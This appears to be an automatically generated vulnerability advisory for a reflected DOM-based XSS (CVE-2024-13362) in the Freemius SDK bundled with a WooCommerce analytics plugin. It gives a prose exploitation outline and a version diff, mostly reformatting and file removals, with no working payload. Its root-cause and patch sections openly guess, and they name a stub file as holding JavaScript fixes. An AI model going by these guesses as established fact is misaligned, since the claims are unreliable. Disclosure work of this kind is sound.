Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 9, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (advance-wc-analytics)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 3.12.0
Patched Version 3.16.0
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:
This reflected DOM-based cross-site scripting vulnerability affects the Freemius SDK library versions 2.10.1 and earlier, as bundled with WordPress plugins and themes. The vulnerability allows unauthenticated attackers to inject arbitrary web scripts via the ‘url’ parameter. The CVSS score of 6.1 indicates medium severity.

Root Cause:
The vulnerability resides in the Freemius SDK’s JavaScript handling of the ‘url’ parameter. The SDK does not properly sanitize or escape the ‘url’ parameter before inserting it into the DOM via JavaScript. The vulnerable code path is triggered when the SDK processes the url parameter from the query string. The specific functions involved are within the Freemius SDK’s JavaScript files, which read the url parameter via JavaScript’s URLSearchParams or equivalent methods and write it directly to the DOM without proper validation. The diff shows restructuring of the Freemius SDK files but does not include the JavaScript fixes, which would be in the SDK’s JavaScript files like ‘freemius/assets/js/index.php’ and similar.

Exploitation:
An attacker crafts a malicious URL containing a ‘url’ parameter with injected JavaScript code. The attack vector is a direct link sent to a victim (e.g., via email, social media, or other websites). When the victim clicks the link and the page loads, the Freemius SDK’s JavaScript reads the ‘url’ parameter from the URL and writes it into the page DOM without sanitization, executing the injected script. The exploit does not require authentication. The attacker must trick the user into clicking the malicious link.

Patch Analysis:
The patch involves updating the Freemius SDK to version 2.10.2 or later. The diff shows restructuring of the plugin’s main file and SDK files, including moving the Freemius library from a local directory to a vendor directory. The actual fix likely involves adding output escaping (e.g., using encodeURIComponent or similar) in the JavaScript code that handles the url parameter before DOM insertion. The patch ensures that special characters in the url parameter are properly encoded, preventing script injection.

Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser on the affected WordPress site. This can lead to session hijacking, cookie theft, phishing attacks, defacement, or redirection to malicious sites. The attacker can also use the XSS to perform actions on behalf of the victim if they are logged in, potentially leading to privilege escalation or data theft.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/advance-wc-analytics/advance-wc-analytics.php
+++ b/advance-wc-analytics/advance-wc-analytics.php
@@ -1,31 +1,32 @@
 <?php

 /*
-Plugin Name: WooCommerce Google Analytics Integration By Advanced WC Analytics
+Plugin Name: AWCA - The Best Statistics Plugin for Your eStore
 Plugin URI: https://advancedwcanalytics.com/
-Description: Allows Google Analytics tracking code to be inserted into WooCommerce store pages and also helps to listen important events associated with WooCommerce Store.
+Description: Provides Google Analytics Integration for your WooCommerce eStore. It Provides detailed insights & powerful independent reports for WooCommerce Website.
 Author: Passionate Brains
-Version: 3.12.0
+Version: 3.16.0
 WC requires at least: 3.7.0
-WC tested up to: 9.5.1
+WC tested up to: 9.8.1
 Author URI: https://advancedwcanalytics.com/
 License: GPLv2 or later
 */
 /* initiating plugin */
-if ( !defined( 'ABSPATH' ) ) {
+if (!defined('ABSPATH')) {
     exit;
 }
-if ( function_exists( 'awca_fs' ) ) {
-    awca_fs()->set_basename( false, __FILE__ );
+if (function_exists('awca_fs')) {
+    awca_fs()->set_basename(false, __FILE__);
 } else {
-    if ( !function_exists( 'awca_fs' ) ) {
+    if (!function_exists('awca_fs')) {
         // Create a helper function for easy SDK access.
-        function awca_fs() {
+        function awca_fs()
+        {
             global $awca_fs;
-            if ( !isset( $awca_fs ) ) {
+            if (!isset($awca_fs)) {
                 // Include Freemius SDK.
-                require_once dirname( __FILE__ ) . '/freemius/start.php';
-                $awca_fs = fs_dynamic_init( array(
+                require_once dirname(__FILE__) . '/vendor/freemius/start.php';
+                $awca_fs = fs_dynamic_init(array(
                     'id'             => '6094',
                     'slug'           => 'advance-wc-analytics',
                     'type'           => 'plugin',
@@ -44,7 +45,7 @@
                         'support'    => false,
                     ),
                     'is_live'        => true,
-                ) );
+                ));
             }
             return $awca_fs;
         }
@@ -52,38 +53,39 @@
         // Init Freemius.
         awca_fs();
         // Signal that SDK was initiated.
-        do_action( 'awca_fs_loaded' );
+        do_action('awca_fs_loaded');
     }
     /* Defining some of constant which will be helpful throughout */
-    if ( !defined( 'AWCA_BASENAME' ) ) {
-        define( 'AWCA_BASENAME', plugin_basename( __FILE__ ) );
+    if (!defined('AWCA_BASENAME')) {
+        define('AWCA_BASENAME', plugin_basename(__FILE__));
     }
-    if ( !defined( 'AWCA_DIR' ) ) {
-        define( 'AWCA_DIR', plugin_dir_path( __FILE__ ) );
+    if (!defined('AWCA_DIR')) {
+        define('AWCA_DIR', plugin_dir_path(__FILE__));
     }
-    if ( !defined( 'AWCA_URL' ) ) {
-        define( 'AWCA_URL', plugin_dir_url( __FILE__ ) );
+    if (!defined('AWCA_URL')) {
+        define('AWCA_URL', plugin_dir_url(__FILE__));
     }
-    if ( !defined( 'AWCA_SITE_URL' ) ) {
-        define( 'AWCA_SITE_URL', site_url() );
+    if (!defined('AWCA_SITE_URL')) {
+        define('AWCA_SITE_URL', site_url());
     }
-    if ( !defined( 'AWCA_SITE_DOMAIN' ) ) {
-        define( 'AWCA_SITE_DOMAIN', trim( str_ireplace( array('http://', 'https://'), '', trim( AWCA_SITE_URL, '/' ) ) ) );
+    if (!defined('AWCA_SITE_DOMAIN')) {
+        define('AWCA_SITE_DOMAIN', trim(str_ireplace(array('http://', 'https://'), '', trim(AWCA_SITE_URL, '/'))));
     }
-    if ( !defined( 'AWCA_PREFIX' ) ) {
-        define( 'AWCA_PREFIX', 'AWCA_' );
+    if (!defined('AWCA_PREFIX')) {
+        define('AWCA_PREFIX', 'AWCA_');
     }
-    if ( !defined( 'AWCA_VERSION' ) ) {
-        define( 'AWCA_VERSION', '3.12.0' );
+    if (!defined('AWCA_VERSION')) {
+        define('AWCA_VERSION', '3.16.0');
     }
-    add_action( 'before_woocommerce_init', function () {
-        if ( class_exists( AutomatticWooCommerceUtilitiesFeaturesUtil::class ) ) {
-            AutomatticWooCommerceUtilitiesFeaturesUtil::declare_compatibility( 'custom_order_tables', __FILE__, true );
+    add_action('before_woocommerce_init', function () {
+        if (class_exists(AutomatticWooCommerceUtilitiesFeaturesUtil::class)) {
+            AutomatticWooCommerceUtilitiesFeaturesUtil::declare_compatibility('custom_order_tables', __FILE__, true);
         }
-    } );
+    });
     /* Definining main class */
-    if ( !class_exists( 'Woo_Ana' ) ) {
-        class Woo_Ana {
+    if (!class_exists('Woo_Ana')) {
+        class Woo_Ana
+        {
             private static $instance = null;

             private $settings;
@@ -94,22 +96,25 @@

             private $auth;

-            public static function get_instance() {
-                if ( !self::$instance ) {
+            public static function get_instance()
+            {
+                if (!self::$instance) {
                     self::$instance = new self();
                 }
                 return self::$instance;
             }

-            private function __construct() {
-                if ( $this->awca_compat_checker() ) {
+            private function __construct()
+            {
+                if ($this->awca_compat_checker()) {
                     $this->includes();
                     $this->init();
                 }
             }

             /*loads other support classes*/
-            private function includes() {
+            private function includes()
+            {
                 /* Settings class. */
                 require_once AWCA_DIR . 'main/class-awca-settings.php';
                 /* Include core class. */
@@ -121,7 +126,8 @@
             }

             /* init support classes*/
-            private function init() {
+            private function init()
+            {
                 $this->settings = new AWCA_Settings();
                 $this->main = new AWCA_Main();
                 $this->admin = new AWCA_Admin();
@@ -129,54 +135,57 @@
             }

             /* returning setting class object */
-            public function settings() {
+            public function settings()
+            {
                 return $this->settings;
             }

             /* returning main class object */
-            public function main() {
+            public function main()
+            {
                 return $this->main;
             }

             /* returning admin class object */
-            public function admin() {
+            public function admin()
+            {
                 return $this->admin;
             }

             /* returning auth class object */
-            public function auth() {
+            public function auth()
+            {
                 return $this->auth;
             }

             /* checking compatibility for plugin to get activated and working */
-            public function awca_compat_checker() {
+            public function awca_compat_checker()
+            {
                 global $wp_version;
                 $error = '';
-                $nwpv = implode( '.', array_slice( explode( '.', $wp_version ), 0, 2 ) );
+                $nwpv = implode('.', array_slice(explode('.', $wp_version), 0, 2));
                 #getiing wp version upto 2 decimal points
                 # php version requirements
-                if ( version_compare( PHP_VERSION, '7.0', '<' ) ) {
+                if (version_compare(PHP_VERSION, '7.0', '<')) {
                     $error = 'AWCA: Google Analytics for Wordpress requires PHP 7.0 or higher. You’re still on ' . PHP_VERSION;
                 }
                 # wp version requirements
-                if ( $nwpv < '5.0' ) {
+                if ($nwpv < '5.0') {
                     $error = 'AWCA: Google Analytics for Wordpress requires WP 5.0 or higher. You’re still on ' . $wp_version;
                 }
-                if ( is_plugin_active( plugin_basename( __FILE__ ) ) && !empty( $error ) || !empty( $error ) ) {
-                    if ( isset( $_GET['activate'] ) ) {
+                if (is_plugin_active(plugin_basename(__FILE__)) && !empty($error) || !empty($error)) {
+                    if (isset($_GET['activate'])) {
                         unset($_GET['activate']);
                     }
-                    add_action( 'admin_notices', function () use($error) {
+                    add_action('admin_notices', function () use ($error) {
                         echo '<div class="notice notice-error is-dismissible"><p><strong>' . $error . '</strong></p></div>';
-                    } );
+                    });
                     return false;
                 } else {
                     return true;
                 }
             }
-
         }
-
     }
-    add_action( 'plugins_loaded', array('Woo_Ana', 'get_instance') );
-}
 No newline at end of file
+    add_action('plugins_loaded', array('Woo_Ana', 'get_instance'));
+}
--- a/advance-wc-analytics/assests/css/index.php
+++ b/advance-wc-analytics/assests/css/index.php
@@ -0,0 +1,3 @@
+<?php
+	// Silence is golden.
+	// Hide file structure from users on unprotected servers.
 No newline at end of file
--- a/advance-wc-analytics/assests/images/index.php
+++ b/advance-wc-analytics/assests/images/index.php
@@ -0,0 +1,3 @@
+<?php
+	// Silence is golden.
+	// Hide file structure from users on unprotected servers.
 No newline at end of file
--- a/advance-wc-analytics/assests/index.php
+++ b/advance-wc-analytics/assests/index.php
@@ -0,0 +1,3 @@
+<?php
+	// Silence is golden.
+	// Hide file structure from users on unprotected servers.
 No newline at end of file
--- a/advance-wc-analytics/freemius/assets/css/admin/index.php
+++ b/advance-wc-analytics/freemius/assets/css/admin/index.php
@@ -1,3 +0,0 @@
-<?php
-	// Silence is golden.
-	// Hide file structure from users on unprotected servers.
 No newline at end of file
--- a/advance-wc-analytics/freemius/assets/css/index.php
+++ b/advance-wc-analytics/freemius/assets/css/index.php
@@ -1,3 +0,0 @@
-<?php
-	// Silence is golden.
-	// Hide file structure from users on unprotected servers.
 No newline at end of file
--- a/advance-wc-analytics/freemius/assets/img/index.php
+++ b/advance-wc-analytics/freemius/assets/img/index.php
@@ -1,3 +0,0 @@
-<?php
-	// Silence is golden.
-	// Hide file structure from users on unprotected servers.
 No newline at end of file
--- a/advance-wc-analytics/freemius/assets/index.php
+++ b/advance-wc-analytics/freemius/assets/index.php
@@ -1,3 +0,0 @@
-<?php
-	// Silence is golden.
-	// Hide file structure from users on unprotected servers.
 No newline at end of file
--- a/advance-wc-analytics/freemius/assets/js/index.php
+++ b/advance-wc-analytics/freemius/assets/js/index.php
@@ -1,3 +0,0 @@
-<?php
-	// Silence is golden.
-	// Hide file structure from users on unprotected servers.
 No newline at end of file
--- a/advance-wc-analytics/freemius/config.php
+++ b/advance-wc-analytics/freemius/config.php
@@ -1,391 +0,0 @@
-<?php
-    /**
-     * @package     Freemius
-     * @copyright   Copyright (c) 2015, Freemius, Inc.
-     * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-     * @since       1.0.4
-     */
-
-    if ( ! defined( 'ABSPATH' ) ) {
-        exit;
-    }
-
-    if ( ! defined( 'WP_FS__SLUG' ) ) {
-        define( 'WP_FS__SLUG', 'freemius' );
-    }
-    if ( ! defined( 'WP_FS__DEV_MODE' ) ) {
-        define( 'WP_FS__DEV_MODE', false );
-    }
-
-    #--------------------------------------------------------------------------------
-    #region API Connectivity Issues Simulation
-    #--------------------------------------------------------------------------------
-
-    if ( ! defined( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY' ) ) {
-        define( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY', false );
-    }
-    if ( ! defined( 'WP_FS__SIMULATE_NO_CURL' ) ) {
-        define( 'WP_FS__SIMULATE_NO_CURL', false );
-    }
-    if ( ! defined( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE' ) ) {
-        define( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE', false );
-    }
-    if ( ! defined( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL' ) ) {
-        define( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL', false );
-    }
-    if ( WP_FS__SIMULATE_NO_CURL ) {
-        define( 'FS_SDK__SIMULATE_NO_CURL', true );
-    }
-    if ( WP_FS__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE ) {
-        define( 'FS_SDK__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE', true );
-    }
-    if ( WP_FS__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL ) {
-        define( 'FS_SDK__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL', true );
-    }
-
-    #endregion
-
-    if ( ! defined( 'WP_FS__SIMULATE_FREEMIUS_OFF' ) ) {
-        define( 'WP_FS__SIMULATE_FREEMIUS_OFF', false );
-    }
-
-    if ( ! defined( 'WP_FS__PING_API_ON_IP_OR_HOST_CHANGES' ) ) {
-        /**
-         * @since  1.1.7.3
-         * @author Vova Feldman (@svovaf)
-         *
-         * I'm not sure if shared servers periodically change IP, or the subdomain of the
-         * admin dashboard. Also, I've seen sites that have strange loop of switching
-         * between domains on a daily basis. Therefore, to eliminate the risk of
-         * multiple unwanted connectivity test pings, temporary ignore domain or
-         * server IP changes.
-         */
-        define( 'WP_FS__PING_API_ON_IP_OR_HOST_CHANGES', false );
-    }
-
-    /**
-     * If your dev environment supports custom public network IP setup
-     * like VVV, please update WP_FS__LOCALHOST_IP with your public IP
-     * and uncomment it during dev.
-     */
-    if ( ! defined( 'WP_FS__LOCALHOST_IP' ) ) {
-        // VVV default public network IP.
-        define( 'WP_FS__VVV_DEFAULT_PUBLIC_IP', '192.168.50.4' );
-
-//		define( 'WP_FS__LOCALHOST_IP', WP_FS__VVV_DEFAULT_PUBLIC_IP );
-    }
-
-    /**
-     * If true and running with secret key, the opt-in process
-     * will skip the email activation process which is invoked
-     * when the email of the context user already exist in Freemius
-     * database (as a security precaution, to prevent sharing user
-     * secret with unauthorized entity).
-     *
-     * IMPORTANT:
-     *      AS A SECURITY PRECAUTION, WE VALIDATE THE TIMESTAMP OF THE OPT-IN REQUEST.
-     *      THEREFORE, MAKE SURE THAT WHEN USING THIS PARAMETER,YOUR TESTING ENVIRONMENT'S
-     *      CLOCK IS SYNCED.
-     */
-    if ( ! defined( 'WP_FS__SKIP_EMAIL_ACTIVATION' ) ) {
-        define( 'WP_FS__SKIP_EMAIL_ACTIVATION', false );
-    }
-
-
-    #--------------------------------------------------------------------------------
-    #region Directories
-    #--------------------------------------------------------------------------------
-
-    if ( ! defined( 'WP_FS__DIR' ) ) {
-        define( 'WP_FS__DIR', dirname( __FILE__ ) );
-    }
-    if ( ! defined( 'WP_FS__DIR_INCLUDES' ) ) {
-        define( 'WP_FS__DIR_INCLUDES', WP_FS__DIR . '/includes' );
-    }
-    if ( ! defined( 'WP_FS__DIR_TEMPLATES' ) ) {
-        define( 'WP_FS__DIR_TEMPLATES', WP_FS__DIR . '/templates' );
-    }
-    if ( ! defined( 'WP_FS__DIR_ASSETS' ) ) {
-        define( 'WP_FS__DIR_ASSETS', WP_FS__DIR . '/assets' );
-    }
-    if ( ! defined( 'WP_FS__DIR_CSS' ) ) {
-        define( 'WP_FS__DIR_CSS', WP_FS__DIR_ASSETS . '/css' );
-    }
-    if ( ! defined( 'WP_FS__DIR_JS' ) ) {
-        define( 'WP_FS__DIR_JS', WP_FS__DIR_ASSETS . '/js' );
-    }
-    if ( ! defined( 'WP_FS__DIR_IMG' ) ) {
-        define( 'WP_FS__DIR_IMG', WP_FS__DIR_ASSETS . '/img' );
-    }
-    if ( ! defined( 'WP_FS__DIR_SDK' ) ) {
-        define( 'WP_FS__DIR_SDK', WP_FS__DIR_INCLUDES . '/sdk' );
-    }
-
-    #endregion
-
-    /**
-     * Domain / URL / Address
-     */
-    define( 'WP_FS__ROOT_DOMAIN_PRODUCTION', 'freemius.com' );
-    define( 'WP_FS__DOMAIN_PRODUCTION', 'wp.freemius.com' );
-    define( 'WP_FS__ADDRESS_PRODUCTION', 'https://' . WP_FS__DOMAIN_PRODUCTION );
-
-    if ( ! defined( 'WP_FS__DOMAIN_LOCALHOST' ) ) {
-        define( 'WP_FS__DOMAIN_LOCALHOST', 'wp.freemius' );
-    }
-    if ( ! defined( 'WP_FS__ADDRESS_LOCALHOST' ) ) {
-        define( 'WP_FS__ADDRESS_LOCALHOST', 'http://' . WP_FS__DOMAIN_LOCALHOST . ':8080' );
-    }
-
-    if ( ! defined( 'WP_FS__TESTING_DOMAIN' ) ) {
-        define( 'WP_FS__TESTING_DOMAIN', 'fswp' );
-    }
-
-    #--------------------------------------------------------------------------------
-    #region HTTP
-    #--------------------------------------------------------------------------------
-
-    if ( ! defined( 'WP_FS__IS_HTTP_REQUEST' ) ) {
-        define( 'WP_FS__IS_HTTP_REQUEST', isset( $_SERVER['HTTP_HOST'] ) && isset( $_SERVER['REQUEST_METHOD'] ) );
-    }
-
-    if ( ! defined( 'WP_FS__IS_HTTPS' ) ) {
-        define( 'WP_FS__IS_HTTPS', ( WP_FS__IS_HTTP_REQUEST &&
-                                     // Checks if CloudFlare's HTTPS (Flexible SSL support).
-                                     isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) &&
-                                     'https' === strtolower( $_SERVER['HTTP_X_FORWARDED_PROTO'] )
-                                   ) ||
-                                   // Check if HTTPS request.
-                                   ( isset( $_SERVER['HTTPS'] ) && 'on' == $_SERVER['HTTPS'] ) ||
-                                   ( isset( $_SERVER['SERVER_PORT'] ) && 443 == $_SERVER['SERVER_PORT'] )
-        );
-    }
-
-    if ( ! defined( 'WP_FS__IS_POST_REQUEST' ) ) {
-        define( 'WP_FS__IS_POST_REQUEST', ( WP_FS__IS_HTTP_REQUEST &&
-                                            strtoupper( $_SERVER['REQUEST_METHOD'] ) == 'POST' ) );
-    }
-
-    if ( ! defined( 'WP_FS__REMOTE_ADDR' ) ) {
-        define( 'WP_FS__REMOTE_ADDR', fs_get_ip() );
-    }
-
-    if ( ! defined( 'WP_FS__IS_LOCALHOST' ) ) {
-        if ( defined( 'WP_FS__LOCALHOST_IP' ) ) {
-            define( 'WP_FS__IS_LOCALHOST', ( WP_FS__LOCALHOST_IP === WP_FS__REMOTE_ADDR ) );
-        } else {
-            define( 'WP_FS__IS_LOCALHOST', WP_FS__IS_HTTP_REQUEST &&
-                                           is_string( WP_FS__REMOTE_ADDR ) &&
-                                           ( substr( WP_FS__REMOTE_ADDR, 0, 4 ) === '127.' ||
-                                             WP_FS__REMOTE_ADDR === '::1' )
-            );
-        }
-    }
-
-    if ( ! defined( 'WP_FS__IS_LOCALHOST_FOR_SERVER' ) ) {
-        define( 'WP_FS__IS_LOCALHOST_FOR_SERVER', ( ! WP_FS__IS_HTTP_REQUEST ||
-                                                    false !== strpos( $_SERVER['HTTP_HOST'], 'localhost' ) ) );
-    }
-
-    #endregion
-
-    if ( ! defined( 'WP_FS__IS_PRODUCTION_MODE' ) ) {
-        // By default, run with Freemius production servers.
-        define( 'WP_FS__IS_PRODUCTION_MODE', true );
-    }
-
-    if ( ! defined( 'WP_FS__ADDRESS' ) ) {
-        define( 'WP_FS__ADDRESS', ( WP_FS__IS_PRODUCTION_MODE ? WP_FS__ADDRESS_PRODUCTION : WP_FS__ADDRESS_LOCALHOST ) );
-    }
-
-
-    #--------------------------------------------------------------------------------
-    #region API
-    #--------------------------------------------------------------------------------
-
-    if ( ! defined( 'WP_FS__API_ADDRESS_LOCALHOST' ) ) {
-        define( 'WP_FS__API_ADDRESS_LOCALHOST', 'http://api.freemius-local.com:8080' );
-    }
-    if ( ! defined( 'WP_FS__API_SANDBOX_ADDRESS_LOCALHOST' ) ) {
-        define( 'WP_FS__API_SANDBOX_ADDRESS_LOCALHOST', 'http://sandbox-api.freemius:8080' );
-    }
-
-    // Set API address for local testing.
-    if ( ! WP_FS__IS_PRODUCTION_MODE ) {
-        if ( ! defined( 'FS_API__ADDRESS' ) ) {
-            define( 'FS_API__ADDRESS', WP_FS__API_ADDRESS_LOCALHOST );
-        }
-        if ( ! defined( 'FS_API__SANDBOX_ADDRESS' ) ) {
-            define( 'FS_API__SANDBOX_ADDRESS', WP_FS__API_SANDBOX_ADDRESS_LOCALHOST );
-        }
-    }
-
-    #endregion
-
-    #--------------------------------------------------------------------------------
-    #region Checkout
-    #--------------------------------------------------------------------------------
-
-    if ( ! defined( 'FS_CHECKOUT__ADDRESS_PRODUCTION' ) ) {
-        define( 'FS_CHECKOUT__ADDRESS_PRODUCTION', 'https://checkout.freemius.com' );
-    }
-
-    if ( ! defined( 'FS_CHECKOUT__ADDRESS_LOCALHOST' ) ) {
-        define( 'FS_CHECKOUT__ADDRESS_LOCALHOST', 'http://checkout.freemius-local.com:8080' );
-    }
-
-    if ( ! defined( 'FS_CHECKOUT__ADDRESS' ) ) {
-        define( 'FS_CHECKOUT__ADDRESS', ( WP_FS__IS_PRODUCTION_MODE ? FS_CHECKOUT__ADDRESS_PRODUCTION : FS_CHECKOUT__ADDRESS_LOCALHOST ) );
-    }
-
-    #endregion
-
-    define( 'WP_FS___OPTION_PREFIX', 'fs' . ( WP_FS__IS_PRODUCTION_MODE ? '' : '_dbg' ) . '_' );
-
-    if ( ! defined( 'WP_FS__ACCOUNTS_OPTION_NAME' ) ) {
-        define( 'WP_FS__ACCOUNTS_OPTION_NAME', WP_FS___OPTION_PREFIX . 'accounts' );
-    }
-    if ( ! defined( 'WP_FS__API_CACHE_OPTION_NAME' ) ) {
-        define( 'WP_FS__API_CACHE_OPTION_NAME', WP_FS___OPTION_PREFIX . 'api_cache' );
-    }
-    if ( ! defined( 'WP_FS__GDPR_OPTION_NAME' ) ) {
-        define( 'WP_FS__GDPR_OPTION_NAME', WP_FS___OPTION_PREFIX . 'gdpr' );
-    }
-    define( 'WP_FS__OPTIONS_OPTION_NAME', WP_FS___OPTION_PREFIX . 'options' );
-
-    /**
-     * Module types
-     *
-     * @since 1.2.2
-     */
-    define( 'WP_FS__MODULE_TYPE_PLUGIN', 'plugin' );
-    define( 'WP_FS__MODULE_TYPE_THEME', 'theme' );
-
-    /**
-     * Billing Frequencies
-     */
-    define( 'WP_FS__PERIOD_ANNUALLY', 'annual' );
-    define( 'WP_FS__PERIOD_MONTHLY', 'monthly' );
-    define( 'WP_FS__PERIOD_LIFETIME', 'lifetime' );
-
-    /**
-     * Plans
-     */
-    define( 'WP_FS__PLAN_DEFAULT_PAID', false );
-    define( 'WP_FS__PLAN_FREE', 'free' );
-    define( 'WP_FS__PLAN_TRIAL', 'trial' );
-
-    /**
-     * Times in seconds
-     */
-    if ( ! defined( 'WP_FS__TIME_5_MIN_IN_SEC' ) ) {
-        define( 'WP_FS__TIME_5_MIN_IN_SEC', 300 );
-    }
-    if ( ! defined( 'WP_FS__TIME_10_MIN_IN_SEC' ) ) {
-        define( 'WP_FS__TIME_10_MIN_IN_SEC', 600 );
-    }
-//	define( 'WP_FS__TIME_15_MIN_IN_SEC', 900 );
-    if ( ! defined( 'WP_FS__TIME_12_HOURS_IN_SEC' ) ) {
-        define( 'WP_FS__TIME_12_HOURS_IN_SEC', 43200 );
-    }
-    if ( ! defined( 'WP_FS__TIME_24_HOURS_IN_SEC' ) ) {
-        define( 'WP_FS__TIME_24_HOURS_IN_SEC', WP_FS__TIME_12_HOURS_IN_SEC * 2 );
-    }
-    if ( ! defined( 'WP_FS__TIME_WEEK_IN_SEC' ) ) {
-        define( 'WP_FS__TIME_WEEK_IN_SEC', 7 * WP_FS__TIME_24_HOURS_IN_SEC );
-    }
-
-    #--------------------------------------------------------------------------------
-    #region Debugging
-    #--------------------------------------------------------------------------------
-
-    if ( ! defined( 'WP_FS__DEBUG_SDK' ) ) {
-        $debug_mode = get_option( 'fs_debug_mode', null );
-
-        if ( $debug_mode === null ) {
-            $debug_mode = false;
-            add_option( 'fs_debug_mode', $debug_mode );
-        }
-
-        define( 'WP_FS__DEBUG_SDK', is_numeric( $debug_mode ) ? ( 0 < $debug_mode ) : WP_FS__DEV_MODE );
-    }
-
-    if ( ! defined( 'WP_FS__ECHO_DEBUG_SDK' ) ) {
-        define( 'WP_FS__ECHO_DEBUG_SDK', WP_FS__DEV_MODE && ! empty( $_GET['fs_dbg_echo'] ) );
-    }
-    if ( ! defined( 'WP_FS__LOG_DATETIME_FORMAT' ) ) {
-        define( 'WP_FS__LOG_DATETIME_FORMAT', 'Y-m-d H:i:s' );
-    }
-    if ( ! defined( 'FS_API__LOGGER_ON' ) ) {
-        define( 'FS_API__LOGGER_ON', WP_FS__DEBUG_SDK );
-    }
-
-    if ( WP_FS__ECHO_DEBUG_SDK ) {
-        error_reporting( E_ALL );
-    }
-
-    #endregion
-
-    if ( ! defined( 'WP_FS__SCRIPT_START_TIME' ) ) {
-        define( 'WP_FS__SCRIPT_START_TIME', time() );
-    }
-    if ( ! defined( 'WP_FS__DEFAULT_PRIORITY' ) ) {
-        define( 'WP_FS__DEFAULT_PRIORITY', 10 );
-    }
-    if ( ! defined( 'WP_FS__LOWEST_PRIORITY' ) ) {
-        define( 'WP_FS__LOWEST_PRIORITY', 999999999 );
-    }
-
-    #--------------------------------------------------------------------------------
-    #region Multisite Network
-    #--------------------------------------------------------------------------------
-
-    /**
-     * Do not use this define directly, it will have the wrong value
-     * during plugin uninstall/deletion when the inclusion of the plugin
-     * is triggered due to registration with register_uninstall_hook().
-     *
-     * Instead, use fs_is_network_admin().
-     *
-     * @author Vova Feldman (@svovaf)
-     */
-    if ( ! defined( 'WP_FS__IS_NETWORK_ADMIN' ) ) {
-        define( 'WP_FS__IS_NETWORK_ADMIN',
-            is_multisite() &&
-            ( is_network_admin() ||
-              ( ( defined( 'DOING_AJAX' ) && DOING_AJAX &&
-                  ( isset( $_REQUEST['_fs_network_admin'] ) && 'true' === $_REQUEST['_fs_network_admin'] /*||
-                    ( ! empty( $_REQUEST['action'] ) && 'delete-plugin' === $_REQUEST['action'] )*/ )
-                ) ||
-                // Plugin uninstall.
-                defined( 'WP_UNINSTALL_PLUGIN' ) )
-            )
-        );
-    }
-
-    /**
-     * Do not use this define directly, it will have the wrong value
-     * during plugin uninstall/deletion when the inclusion of the plugin
-     * is triggered due to registration with register_uninstall_hook().
-     *
-     * Instead, use fs_is_blog_admin().
-     *
-     * @author Vova Feldman (@svovaf)
-     */
-    if ( ! defined( 'WP_FS__IS_BLOG_ADMIN' ) ) {
-        define( 'WP_FS__IS_BLOG_ADMIN', is_blog_admin() || ( defined( 'DOING_AJAX' ) && DOING_AJAX && isset( $_REQUEST['_fs_blog_admin'] ) ) );
-    }
-
-    if ( ! defined( 'WP_FS__SHOW_NETWORK_EVEN_WHEN_DELEGATED' ) ) {
-        // Set to true to show network level settings even if delegated to site admins.
-        define( 'WP_FS__SHOW_NETWORK_EVEN_WHEN_DELEGATED', false );
-    }
-
-    #endregion
-
-    if ( ! defined( 'WP_FS__DEMO_MODE' ) ) {
-        define( 'WP_FS__DEMO_MODE', false );
-    }
-    if ( ! defined( 'FS_SDK__SSLVERIFY' ) ) {
-        define( 'FS_SDK__SSLVERIFY', false );
-    }
--- a/advance-wc-analytics/freemius/includes/class-freemius-abstract.php
+++ b/advance-wc-analytics/freemius/includes/class-freemius-abstract.php
@@ -1,538 +0,0 @@
-<?php
-	/**
-	 * @package     Freemius
-	 * @copyright   Copyright (c) 2015, Freemius, Inc.
-	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-	 * @since       1.0.7
-	 */
-
-	if ( ! defined( 'ABSPATH' ) ) {
-		exit;
-	}
-
-
-	/**
-	 * - Each instance of Freemius class represents a single plugin
-	 * install by a single user (the installer of the plugin).
-	 *
-	 * - Each website can only have one install of the same plugin.
-	 *
-	 * - Install entity is only created after a user connects his account with Freemius.
-	 *
-	 * Class Freemius_Abstract
-	 */
-	abstract class Freemius_Abstract {
-
-		#----------------------------------------------------------------------------------
-		#region Identity
-		#----------------------------------------------------------------------------------
-
-		/**
-		 * Check if user has connected his account (opted-in).
-		 *
-		 * Note:
-		 *      If the user opted-in and opted-out on a later stage,
-		 *      this will still return true. If you want to check if the
-		 *      user is currently opted-in, use:
-		 *          `$fs->is_registered() && $fs->is_tracking_allowed()`
-		 *
-		 * @since 1.0.1
-         *
-         * @param bool $ignore_anonymous_state Since 2.5.1
-         *
-		 * @return bool
-		 */
-		abstract function is_registered( $ignore_anonymous_state = false );
-
-		/**
-		 * Check if the user skipped connecting the account with Freemius.
-		 *
-		 * @since 1.0.7
-		 *
-		 * @return bool
-		 */
-		abstract function is_anonymous();
-
-		/**
-		 * Check if the user currently in activation mode.
-		 *
-		 * @since 1.0.7
-		 *
-		 * @return bool
-		 */
-		abstract function is_activation_mode();
-
-		#endregion
-
-		#----------------------------------------------------------------------------------
-		#region Module Type
-		#----------------------------------------------------------------------------------
-
-		/**
-		 * Checks if the plugin's type is "plugin". The other type is "theme".
-		 *
-		 * @author Leo Fajardo (@leorw)
-		 * @since  1.2.2
-		 *
-		 * @return bool
-		 */
-		abstract function is_plugin();
-
-		/**
-		 * Checks if the module type is "theme". The other type is "plugin".
-		 *
-		 * @author Leo Fajardo (@leorw)
-		 * @since  1.2.2
-		 *
-		 * @return bool
-		 */
-		function is_theme() {
-			return ( ! $this->is_plugin() );
-		}
-
-		#endregion
-
